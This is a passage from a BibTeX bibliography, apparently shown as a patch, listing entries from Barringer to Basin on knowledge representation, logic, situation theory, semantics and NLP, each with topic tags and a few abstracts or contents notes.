{{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {40--49}, + address = {San Mateo, California}, + topic = {kr;temporal-logics;imperative-logic;programming-systems; + kr-course;} + } + +@book{ barringer:1996a, + author = {Howard Barringer and M. Fisher and D. Gabbay and R. Owens + and M. Reynolds}, + title = {The Imperative Future: Principles of + Executable Temporal Logic}, + publisher = {John Wiley and Sons}, + year = {1996}, + address = {Chichester, England}, + missinginfo = {A's 1st name.}, + topic = {temporal-logic;temporal-reasoning;software-engineering;} + } + +@incollection{ barroncohen-cross_p:1995a, + author = {Simon Baron-Cohen and Pippa Cross}, + title = {Reading the Eyes: + Evidence for the Role of Perception in the + Development of a Theory of Mind}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {259--273}, + address = {Oxford}, + topic = {developmental-psychology;mental-simulation; + propositional-attitude-ascription;} + } + +@article{ barrow_hg-tenenbaum:1981a, + author = {Harry G. Barrow and J.M. Tenenbaum}, + title = {Interpreting Line Drawings as Three-Dimensional Surfaces}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {17}, + number = {1--3}, + pages = {75--116}, + topic = {three-D-reconstruction;} + } + +@article{ barrow_hg:1984a, + author = {Harry G. Barrow}, + title = {{VERIFY}: A Program for Proving Correctness of Digital + Hardware Designs}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {24}, + number = {1--3}, + pages = {437--491}, + topic = {design-verification;} + } + +@article{ barrow_hg-tennenbaum:1993a, + author = {Harry G. Barrow and J.M. Tennenbaum}, + title = {Retrospective on `Interpreting Line Drawings + as Three-Dimensional Surfaces'}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {71--80}, + topic = {computer-vision;three-D-reconstruction;} + } + +@book{ barrow_jd:1998a, + author = {John D. Barrow}, + title = {Impossibility}, + publisher = {Oxford University Press}, + year = {1998}, + address = {Oxford}, + topic = {goedels-first-theorem;goedels-second-theorem; + popular-logic;popular-physics;popular-science; + paradoxes;} + } + +@article{ barry-etal:1988a, + author = {Michele Barry and David Cyrluk and Deepak Kapur and + Joseph Mundy and Van-Duc Nguyen}, + title = {A Multi-Level Geometric Reasoning System for Vision}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {37}, + number = {1--3}, + pages = {291--332}, + topic = {computer-vision;geometrical-reasoning;spatial-reasoning;} + } + +@article{ barstow:1979a1, + author = {David R. Barstow}, + title = {An Experiment in Knowledge-Based Automatic Programming}, + journal = {Artificial Intelligence}, + year = {1979}, + volume = {12}, + number = {2}, + pages = {73--119}, + xref = {Republication: barstow:1979a2.}, + topic = {program-synthesis;} + } + +@incollection{ barstow:1979a2, + author = {David Barstow}, + title = {An Experiment in Knowledge-Based Automatic + Programming}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {289--312}, + address = {Los Altos, California}, + xref = {Journal Publication: barstow:1979a2.}, + topic = {program-synthesis;} + } + +@book{ bartal-kruglanski:1988a, + editor = {Daniel Bar-Tal and Arie W. Kruglanski}, + title = {The Social Psychology of Knowledge}, + publisher = {Editions de la Maison des Sciences de l'Homme}, + year = {1988}, + address = {Cambridge, England}, + ISBN = {052132114X}, + topic = {social-psychology;} + } + +@incollection{ bartal-kruglanski:1988b, + author = {Daniel Bar-Tal and Arie W. Kruglanski}, + title = {The Social Psychology of Knowledge: Its Scope and Meaning}, + booktitle = {The Social Psychology of Knowledge}, + publisher = {Editions de la Maison des Sciences de l'Homme}, + year = {1988}, + editor = {Daniel Bar-Tal and Arie W. Kruglanski}, + pages = {1--14}, + address = {Cambridge, England}, + topic = {social-psychology;group-attitudes;} + } + +@book{ bartal:1990a, + author = {Daniel Bar-Tal}, + title = {Group Beliefs: A Conception for Analyzing Group Structure, + Processes, and Behavior}, + publisher = {Springer-Verlag}, + year = {1990}, + address = {Berlin}, + ISBN = {0387970851}, + topic = {social-psychology;group-attitudes;} + } + +@book{ bartal:2000a, + author = {Daniel Bar-Tal}, + title = {Shared Beliefs in a Society: Social Psychological Analysis}, + publisher = {Sage Publications}, + year = {2000}, + address = {Thousand Oaks, California}, + ISBN = {0-7629-0658-4 (cloth)}, + topic = {social-psychology;group-attitudes;} + } + +@article{ bartha:1993a, + author = {Paul Bartha}, + title = {Conditional Obligation, Deontic Paradoxes, + and the Logic of Agency}, + journal = {Annals of Mathematics and Artificial Intelligence}, + year = {forthcoming}, + topic = {deontic-logic;agency;} + } + +@incollection{ bartha:1998a, + author = {Paul Bartha}, + title = {Moral Preference, Contrary-to-Duty Obligation + and Defeasible Oughts}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + pages = {93--108}, + address = {Amsterdam}, + topic = {deontic-logic;prima-facie-obligation;} + } + +@inproceedings{ bartha-hitchcock:1998a, + author = {Paul Bartha and Christopher Hitchcock}, + title = {No One Knows the Date or the Hour: An Unorthodox + Application of Rev. Bayes's Theorem}, + booktitle = {{PSA}98: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Part 1: Contributed + Papers}, + year = {1998}, + editor = {Don A. Howard}, + pages = {339--353}, + organization = {Philosophy of Science Association}, + publisher = {University of Chicago Press}, + address = {Chicago, Illinois}, + topic = {foundations-of-statistics;} + } + +@article{ barto-etal:1995a, + author = {Andrew G. Barto and Steven J. Bradtke and Satinder P. Singh}, + title = {Learning to Act Using Real-Time Dynamic Programming}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {72}, + number = {1--2}, + pages = {81--138}, + acontentnote = {Abstract: + Learning methods based on dynamic programming (DP) are receiving + increasing attention in artificial intelligence. Researchers + have argued that DP provides the appropriate basis for compiling + planning results into reactive strategies for real-time control, + as well as for learning such strategies when the system being + controlled is incompletely known. We introduce an algorithm + based on DP, which we call Real-Time DP (RTDP), by which an + embedded system can improve its performance with experience. + RTDP generalizes Korf's Learning-Real-Time-A* algorithm to + problems involving uncertainty. We invoke results from the + theory of asynchronous DP to prove that RTDP achieves optimal + behavior in several different classes of problems. We also use + the theory of asynchronous DP to illuminate aspects of other + DP-based reinforcement learning methods such as Watkins' + Q-Learning algorithm. A secondary aim of this article is to + provide a bridge between AI research on real-time planning and + learning and relevant concepts and algorithms from control + theory.}, + topic = {reinforcement-learning;machine-learning;dynamic-programming;} + } + +@unpublished{ bartsch:1972a, + author = {Renate Bartsch}, + title = {Relative Adjectives and Comparison in a {M}ontague + Grammar}, + year = {1972}, + note = {Unpublished manuscript, Freie Universit\"at, Berlin.}, + topic = {semantics-of-adjectives;comparative-constructions;} + } + +@book{ bartsch-vennemann:1973a, + author = {Renate Bartsch and Theo Vennemann}, + title = {Semantic Structures: A Study In the Relation Between + Semantics and Syntax}, + publisher = {Athen\"aum Verlag}, + year = {1973}, + address = {Frankfurt}, + ISBN = {3761017091}, + topic = {syntax-semantics-interface;} +} + +@incollection{ bartsch:1976a, + author = {Renate Bartsch}, + title = {The Role of Categorial Syntax in Grammatical Theory}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {503--539}, + address = {Dordrecht}, + topic = {categorial-grammar;} + } + +@incollection{ bartsch:1984a, + author = {Renate Bartsch}, + title = {The Structure of Word Meanings: Polysemy, + Metaphor, Metonymy}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {25--54}, + address = {Dordrecht}, + topic = {lexical-semantics;context;nl-polysemy;metaphor;metonymy;} + } + +@techreport{ bartsch:1987a, + author = {Renate Bartsch}, + title = {The Construction of Properties Under Perspectives}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {87--08}, + year = {1992}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland } , + topic = {nl-semantics;adjectives;measures;} + } + +@techreport{ bartsch:1987b, + author = {Renate Bartsch}, + title = {Frame Representations and Discourse Representations}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {87--08}, + year = {1992}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland } , + topic = {nl-semantics;frames;discourse-representation-theory; + pragmatics;} + } + +@article{ bartsch:1987c, + author = {Renate Bartsch}, + title = {Frame Representations and Discourse Representations}, + journal = {Theoretical Linguistics}, + year = {1987}, + volume = {14}, + number = {1}, + pages = {65--117}, + topic = {discourse-representation-theory;frames;lexical-semantics; + pragmatics;} + } + +@book{ bartsch:1987d, + author = {Renate Bartsch}, + title = {Norms of Language: Theoretical and Practical Aspects}, + publisher = {Longman}, + year = {1987}, + address = {London}, + ISBN = {0582014751}, + topic = {foundations-of-linguistics;linguistics-methodology;} +} + +@article{ bartsch:1988a, + author = {Renate Bartsch}, + title = {Tenses and Aspects in Discourse}, + journal = {Theoretical Linguistics}, + year = {1987}, + volume = {15}, + number = {1/2}, + pages = {133--194}, + title = {Tenses, Aspects, and Their Scopes in Discourse}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--88--07}, + year = {1990}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {tense-aspect;discourse;pragmatics;} + } + +@book{ bartsch-etal:1989a, + editor = {Renate Bartsch and Johan van Benthem and P. van Emde + Boas}, + title = {Semantics and Contextual Expression}, + publisher = {Foris Publications}, + year = {1989}, + address = {Dordrecht}, + ISBN = {9067654434}, + note = {Articles based on papers chosen from those presented at the 6th + Amsterdam Colloquium on April 1987.}, + topic = {semantics;context;} +} + +@techreport{ bartsch:1990a, + author = {Renate Bartsch}, + title = {Concept Formation and Concept Composition}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--90--03}, + year = {1990}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {metaphor;polysemy;pragmatics;} + } + +@book{ bartsch:1998a, + author = {Renate Bartsch}, + title = {Dynamic Conceptual Semantics: A Logico-Philosophical + Investigation into Concept Formation and Understanding}, + publisher = {{CSLI} Publications}, + year = {1998}, + address = {Stanford}, + ISBN = {1575861259 (hardcover}, + topic = {nl-semantics;} + } + +@book{ barwise:1975a, + author = {K. Jon Barwise}, + title = {Admissible Sets and Structures}, + publisher = {Springer-Verlag}, + year = {1975}, + address = {Berlin}, + topic = {mathematical-logic;admissible-sets;model-theory;} + } + +@book{ barwise:1977a, + author = {K. Jon Barwise}, + title = {Handbook of Mathematical Logic}, + publisher = {North-Holland}, + year = {1977}, + address = {Amsterdam}, + topic = {mathematical-logic;} + } + +@article{ barwise:1978a, + author = {K. Jon Barwise}, + title = {On Branching Quantifiers in {E}nglish}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {8}, + number = {1}, + pages = {47--80}, + topic = {branching-quantifiers;nl-semantics;} + } + +@book{ barwise-sag:1980a, + editor = {K. Jon Barwise and Ivan Sag}, + title = {Stanford Working Papers in Semantics, Volume 1}, + publisher = {Stanford Cognitive Science Group}, + year = {1980}, + address = {Stanford, California}, + topic = {nl-semantics;} + } + +@article{ barwise:1981a1, + author = {K. Jon Barwise}, + title = {Scenes and Other Situations}, + journal = {Journal of Philosophy}, + year = {1981}, + volume = {78}, + number = {7}, + pages = {369--397}, + xref = {Republication: barwise:1981a2.}, + topic = {situation-theory;logic-of-perception;} + } + +@incollection{ barwise:1981a2, + author = {K. Jon Barwise}, + title = {Scenes and Other Situations}, + booktitle = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1989}, + editor = {K. Jon Barwise}, + pages = {5--33}, + address = {Stanford, California}, + xref = {Republication of: barwise:1981a1.}, + topic = {situation-theory;logic-of-perception;} + } + +@article{ barwise-cooper_r:1981a, + author = {K. Jon Barwise and Robin Cooper}, + title = {Generalized Quantifiers and Natural Language}, + journal = {Linguistics and Philosophy}, + year = {1981}, + volume = {4}, + number = {1}, + pages = {159--219}, + topic = {generalized-quantifiers;nl-quantifiers;nl-semantics;} + } + +@unpublished{ barwise:1982a, + author = {Jon Barwise}, + title = {Information and Semantics: Comments on Dretske's {\it + Knowledge and the Flow of Information}}, + year = {1982}, + note = {Unpublished manuscript, University of Wisconsin.}, + topic = {situation-semantics;information-flow-theory; + theories-of-information;} + } + +@article{ barwise:1983a, + author = {Jon Barwise}, + title = {Information and Semantics}, + journal = {The Behavioral and Brain Sciences}, + year = {1983}, + volume = {6}, + missinginfo = {number, pages.}, + topic = {nl-semantics;theories-of-information;foundations-of-semantics;} + } + +@incollection{ barwise:1983c, + author = {K. Jon Barwise}, + title = {Introduction}, + booktitle = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1983}, + editor = {K. Jon Barwise}, + pages = {xiii--xvi}, + address = {Stanford, California}, + topic = {situation-theory;logic-of-percception;} + } + +@incollection{ barwise:1983d, + author = {K. Jon Barwise}, + title = {Appendix: Reply to {L}akoff}, + booktitle = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1983}, + editor = {K. Jon Barwise}, + pages = {34--36}, + address = {Stanford, California}, + topic = {situation-theory;logic-of-perception;} + } + +@book{ barwise-perry:1983a, + author = {Jon Barwise and John Perry}, + title = {Situations and Attitudes}, + publisher = {The {MIT} Press}, + year = {1983}, + address = {Cambridge, Massachusetts}, + topic = {situation-theory;} + } + +@techreport{ barwise-perry:1984a, + author = {Jon Barwise and John Perry}, + title = {Shifting Situations and Shaken Attitudes}, + institution = {Center for the Study of Language and Information, + Stanford University}, + number = {CSLI--84--13}, + year = {1984}, + address = {Stanford, California}, + topic = {propositional-attitudes;situation-theory;} + } + +@incollection{ barwise:1985a, + author = {Jon Barwise}, + title = {Model-Theoretic Logics: Background and Aims}, + booktitle = {Model-Theoretic Logics}, + publisher = {Springer-Verlag}, + year = {1985}, + editor = {Jon Barwise and Solomon Feferman}, + pages = {3--23}, + address = {Berlin}, + topic = {model-theory;} + } + +@techreport{ barwise:1985b1, + author = {K. Jon Barwise}, + title = {The Situation in Logic {II}: + Conditionals and Conditional Information}, + institution = {Center for the Study of Language and Information}, + number = {CSLI--85--21}, + year = {1985}, + address = {Stanford University, Stanford California.}, + xref = {Published version: barwise:1986a2.}, + topic = {conditionals;situation-theory;information-flow-theory;} + } + +@incollection{ barwise:1985b2, + author = {K. Jon Barwise}, + title = {Conditionals and Conditional Information}, + booktitle = {On Conditionals}, + publisher = {Cambridge University Press}, + year = {1986}, + editor = {Elizabeth Traugott and Alice {ter Meulen} and Judy Reilly + and Charles Ferguson}, + pages = {21--54}, + address = {Cambridge, England}, + xref = {Tech Report version: barwise:1986a1.}, + topic = {conditionals;situation-theory;} + } + +@book{ barwise-feferman:1985a, + editor = {Jon Barwise and Solomon Feferman}, + title = {Model-Theoretic Logics}, + publisher = {Springer-Verlag}, + year = {1985}, + address = {Berlin}, + ISBN = {1575860090}, + topic = {model-theory;} + } + +@article{ barwise-perry:1985b, + author = {Jon Barwise and John Perry}, + title = {Shifting Situations and Shaken Attitudes}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {1}, + pages = {105--161}, + topic = {situation-semantics;} + } + +@incollection{ barwise:1986a1, + author = {K. Jon Barwise}, + title = {Conditionals and Conditional Information}, + booktitle = {On Conditionals}, + publisher = {Cambridge University Press}, + year = {1986}, + editor = {Elizabeth Traugott and Alice {ter Meulen} and Judy Reilly}, + pages = {21--54}, + address = {Cambridge, England}, + xref = {Republication: barwise:1986a2.}, + topic = {conditionals;situation-semantics;} + } + +@incollection{ barwise:1986a2, + author = {K. Jon Barwise}, + title = {Conditionals and Conditional Information}, + booktitle = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1989}, + editor = {K. Jon Barwise}, + pages = {97--135}, + address = {Stanford, California}, + xref = {Republication: barwise:1986a2.}, + topic = {conditionals;situation-semantics;} + } + +@incollection{ barwise:1986b2, + author = {K. Jon Barwise}, + title = {Logic and Information}, + booktitle = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1989}, + editor = {K. Jon Barwise}, + pages = {37--57}, + address = {Stanford, California}, + xref = {Republication of barwise:1986b1.}, + topic = {foundations-of-logic;situation-theory;} + } + +@book{ barwise-etchemendy:1987a, + author = {Jon Barwise and John Etchemendy}, + title = {The Liar}, + publisher = {Oxford University Press}, + year = {1987}, + address = {Oxford}, + topic = {semantic-paradoxes;propositional-attitudes;} + } + +@inproceedings{ barwise:1988a, + author = {K. Jon Barwise}, + title = {Three Views of Common Knowledge}, + booktitle = {Proceedings of the Second Conference on + Theoretical Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {365--379}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {mutual-beliefs;} + } + +@book{ barwise:1989a, + editor = {K. Jon Barwise}, + title = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1989}, + address = {Stanford, California}, + contentnote = {TC: + 1. K. Jon Barwise, "Introduction", pp. xiii--xvi + 2. K. Jon Barwise, "Scenes and Other Situations", pp. 5--33 + 3. K. Jon Barwise, "Appendix: Reply to {L}akoff", pp. 34--36 + 4. K. Jon Barwise, "Logic and Information", pp. 37--57 + 5. K. Jon Barwise, "On the Circumstantial Relation between + Meaning and Content", pp. 59--77 + 6. K. Jon Barwise, "Situations and Small Worlds", pp. 79--96 + 7. K. Jon Barwise, "Conditionals and Conditional + Information", pp. 97--135 + 8. K. Jon Barwise, "Information and Circumstance", pp. 137--154 + 9. K. Jon Barwise, "Unburdening the Language of Thought", pp. 155--176 + 10. K. Jon Barwise, "Situations, Sets and the Axiom of + Foundation", pp. 177--200 + 11. K. Jon Barwise, "On the Model Theory of Common + Knowledge", pp. 201--220 + 12. K. Jon Barwise, "Situations, Facts, and True + Propositions", pp. 221--254 + 13. K. Jon Barwise, "Notes on the Branch Points in Situation + Theory", pp. 255--276 + 14. K. Jon Barwise, "{AFA} and the Unification of + Information", pp. 277--283 + 15. K. Jon Barwise, "Mixed Fixed Points", pp. 285--287 + 16. K. Jon Barwise, "Situated Set Theory", pp. 289--292 + 17. K. Jon Barwise, "Epilogue: Toward a Mathematical Theory + of Meaning", pp. 293--297 + } , + topic = {situation-theory;logic-of-perception;theories-of-information;} + } + +@incollection{ barwise:1989b, + author = {K. Jon Barwise}, + title = {On the Circumstantial Relation between Meaning and + Content}, + booktitle = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1989}, + editor = {K. Jon Barwise}, + pages = {59--77}, + address = {Stanford, California}, + topic = {foundations-of-semantics;situation-theory;} + } + +@incollection{ barwise:1989c, + author = {K. Jon Barwise}, + title = {Situations and Small Worlds}, + booktitle = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1989}, + editor = {K. Jon Barwise}, + pages = {79--96}, + address = {Stanford, California}, + topic = {foundations-of-semantics;situation-semantics; + possible-worlds-semantics;} + } + +@incollection{ barwise:1989d, + author = {K. Jon Barwise}, + title = {Information and Circumstance}, + booktitle = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1989}, + editor = {K. Jon Barwise}, + pages = {137--154}, + address = {Stanford, California}, + topic = {foundations-of-cognition;situation-theory;} + } + +@incollection{ barwise:1989e, + author = {K. Jon Barwise}, + title = {Unburdening the Language of Thought}, + booktitle = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1989}, + editor = {K. Jon Barwise}, + pages = {155--176}, + address = {Stanford, California}, + topic = {foundations-of-cognition;situation-theory;} + } + +@incollection{ barwise:1989f, + author = {K. Jon Barwise}, + title = {Situations, Sets and the Axiom of Foundation}, + booktitle = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1989}, + editor = {K. Jon Barwise}, + pages = {177--200}, + address = {Stanford, California}, + topic = {situation-theory;nonwellfounded-sets;} + } + +@incollection{ barwise:1989g, + author = {K. Jon Barwise}, + title = {On the Model Theory of Common Knowledge}, + booktitle = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1989}, + editor = {K. Jon Barwise}, + pages = {201--220}, + address = {Stanford, California}, + topic = {situation-theory;mutual-beliefs;} + } + +@incollection{ barwise:1989h, + author = {K. Jon Barwise}, + title = {Situations, Facts, and True Propositions}, + booktitle = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1989}, + editor = {K. Jon Barwise}, + pages = {221--254}, + address = {Stanford, California}, + topic = {situation-theory;facts;propositions;philosophical-ontology;} + } + +@incollection{ barwise:1989i, + author = {K. Jon Barwise}, + title = {Notes on the Branch Points in Situation Theory}, + booktitle = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1989}, + editor = {K. Jon Barwise}, + pages = {255--276}, + address = {Stanford, California}, + topic = {situation-theory;} + } + +@incollection{ barwise:1989j, + author = {K. Jon Barwise}, + title = {{AFA} and the Unification of Information}, + booktitle = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1989}, + editor = {K. Jon Barwise}, + pages = {277--283}, + address = {Stanford, California}, + topic = {situation-theory;nonwellfounded-sets;} + } + +@incollection{ barwise:1989k, + author = {K. Jon Barwise}, + title = {Mixed Fixed Points}, + booktitle = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1989}, + editor = {K. Jon Barwise}, + pages = {285--287}, + address = {Stanford, California}, + topic = {situation-theory;nonwellfounded-sets;} + } + +@incollection{ barwise:1989l, + author = {K. Jon Barwise}, + title = {Situated Set Theory}, + booktitle = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1989}, + editor = {K. Jon Barwise}, + pages = {289--292}, + address = {Stanford, California}, + topic = {situation-theory;} + } + +@incollection{ barwise:1989m, + author = {K. Jon Barwise}, + title = {Epilogue: Toward a Mathematical Theory of Meaning}, + booktitle = {The Situation in Logic}, + publisher = {CSLI Publications}, + year = {1989}, + editor = {K. Jon Barwise}, + pages = {293--297}, + address = {Stanford, California}, + topic = {situation-theory;philosophy-of-logic;philosophy-of-mathematics;} + } + +@incollection{ barwise-etchemendy:1989a, + author = {Jon Barwise and John Etchemendy}, + title = {Model-Theoretic Semantics}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {6}, + missinginfo = {pages}, + address = {Cambridge, Massachusetts}, + topic = {nl-semantics;situation-semantics;situation-theory; + theories-of-information;;} + } + +@book{ barwise-etal:1990a, + editor = {K. Jon Barwise and Jean Mark Gawron and Gordon Plotkin + and Syun Tutiya}, + title = {Situation Theory and Its Applications, Volume 1}, + publisher = {Center for the Study of Language and Information + ({CSLI})}, + year = {1990}, + address = {Stanford, California}, + ISBN = {0937073555 (v. 1)}, + topic = {situation-theory;} + } + +@book{ barwise-etchemendy:1990a, + author = {Jon Barwise and John Etchemendy}, + title = {The Language of First-Order Logic}, + publisher = {CSLI Publications}, + year = {1990}, + address = {Stanford, California}, + topic = {logic-intro;logic-courseware;kr-course;micro-formalization;} + } + +@book{ barwise-etal:1991a, + editor = {K. Jon Barwise and Jean Mark Gawron and Gordon Plotkin + and Syun Tutiya}, + title = {Situation Theory and Its Applications, Volume 2}, + publisher = {Center for the Study of Language and Information + ({CSLI})}, + year = {1991}, + address = {Stanford, California}, + ISBN = {0937073555 (v. 2)}, + topic = {situation-theory;} + } + +@unpublished{ barwise-etchemendy:1991a, + author = {Jon Barwise and John Etchemendy}, + title = {Hyperproof: The Beta Manual}, + year = {1991}, + note = {Unpublished manuscript, CSLI, Stanford University, + Stanford, California.}, + topic = {logic-intro;logic-courseware;} + } + +@incollection{ barwise-seligman:1994a, + author = {Jon Barwise and Jerry Seligman}, + title = {The Rights and Wrongs of Natural Regularity}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {331--364}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {philosophy-of-mind;intentionality;natural-laws; + natural-regularities;information-flow-theory;conditionals; + theories-of-information;} + } + +@book{ barwise-etchemendy:1995a, + author = {K. Jon Barwise and John Etchemendy}, + title = {Hyperproof}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + topic = {logic-intro;human-theorem-proving;} + } + +@book{ barwise-etchemendy:1995b, + author = {K. Jon Barwise and John Etchemendy}, + title = {Turing's World 3.0 (Windows Version)}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + topic = {mathematics-intro;computability;} + } + +@incollection{ barwise-etchemendy:1995c, + author = {Jon Barwise and John Etchemendy}, + title = {Heterogeneous Logic}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {211--234}, + address = {Cambridge, Massachusetts}, + topic = {diagrams;foundations-of-logic;reasoning-with-diagrams;} + } + +@article{ barwise-shimojima:1995a, + author = {Jon Barwise and Atsushi Shimojima}, + title = {Surrogate Reasoning}, + journal = {Cognitive Studies: Journal of {J}apanese + Cognitive Science Society}, + year = {1995}, + volume = {4}, + number = {2}, + pages = {7--27}, + topic = {reasoning-with-diagrams;} + } + +@book{ barwise-moss:1996a, + author = {Jon Barwise and Lawrence Moss}, + title = {Vicious Circles: On the Mathematics of Non-Wellfounded + Phenomena}, + publisher = {CSLI Publications}, + year = {1996}, + address = {Stanford, California}, + ISBN = {1575860090 (alk. paper)}, + topic = {nonwellfounded-sets;} + } + +@article{ barwise:1997a, + author = {Jon Barwise}, + title = {Guest Editorial: The New Sciences}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {3}, + pages = {217}, + topic = {cognitive-science;} + } + +@book{ barwise-seligman:1997a, + author = {Jon Barwise and Jerry Seligman}, + title = {Information Flow: The Logic of Distributed Systems}, + publisher = {Cambridge University Press}, + year = {1997}, + address = {Cambridge, England}, + xref = {Reviews: vanbenthen-israel_dj:1999a, derijke:1999b.}, + topic = {information-flow-theory;distributed-systems; + theories-of-information;} + } + +@inproceedings{ barwise-etchemendy:1998a, + author = {Jon Barwise and Jon Etchemendy}, + title = {A Computational Architecture for Heterogeneous + Reasoning}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {1--14}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {diagrams;reasoning-with-diagrams;logic-courseware;} + } + +@article{ barwise-moss:1998a, + author = {Jon Barwise and Lawrence Moss}, + title = {Modal Correspondence for Models}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {3}, + pages = {275--294}, + topic = {modal-logic;modal-correspondence-theory;} + } + +@book{ barwise-etchemendy:1999a, + author = {Jon Barwise and John Etchemendy}, + title = {Language, Proof, and Logic}, + publisher = {{CSLI} Publications}, + year = {1999}, + address = {Stanford, California}, + xref = {Review: grim:1999a.}, + xref = {Accompanied by software and manual: allein-etal:1999a.}, + topic = {logic-intro;logic-courseware;kr-course;} + } + +@incollection{ barzilay-etal:1998a, + author = {Regina Barzilay and Daryl McCullough and Owen Rambow + and Jonathan DeChristofaro and Tanya Korelsky and Benoit + Lavoie}, + title = {A New Approach to Expert System Explanations}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {78--87}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;explanation;expert-systems;} + } + +@article{ basili-etal:1996a, + author = {Roberto Basili and Maria Teresa Pazienza and Paolo Velardi}, + title = {An Empirical Symbolic Approach to Natural Language Processing}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {85}, + number = {1--2}, + pages = {59--99}, + topic = {probabilistic-parsing;knowledge-representation;nl-processing;} + } + +@incollection{ basili-etal:1996b, + author = {Roberto Basili and A. Marziali and Maria T. Pazienza and + P. Velardi}, + title = {Modeling Conversational Speech for Speech Recognition}, + booktitle = {Proceedings of the Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1996}, + editor = {Eric Brill and Kenneth Church}, + pages = {23--32}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;} + } + +@incollection{ basili-etal:1997a, + author = {Roberto Basili and Gianluca de Rossi and Maria Teresa + Pazienza}, + title = {Inducing Terminology for Lexical Acquisition}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {125--133}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;dictionary-construction; + word-acquisition;machine-learning;} + } + +@incollection{ basili-etal:1998a, + author = {Roberto Basili and Alessandro Cucchiarelli and Carlo + Consoli and Maria Teresa Pazienza and Paola Velardi}, + title = {Automatic Adaptation of {W}ord{N}et to Sublanguages + and to Computational Tasks}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {80--86}, + address = {Somerset, New Jersey}, + topic = {nl-processing;WordNet;sublanguages;} + } + +@incollection{ basin:1994a, + author = {David A. Basin}, + title = {Logic Frameworks for Logic Programs}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + 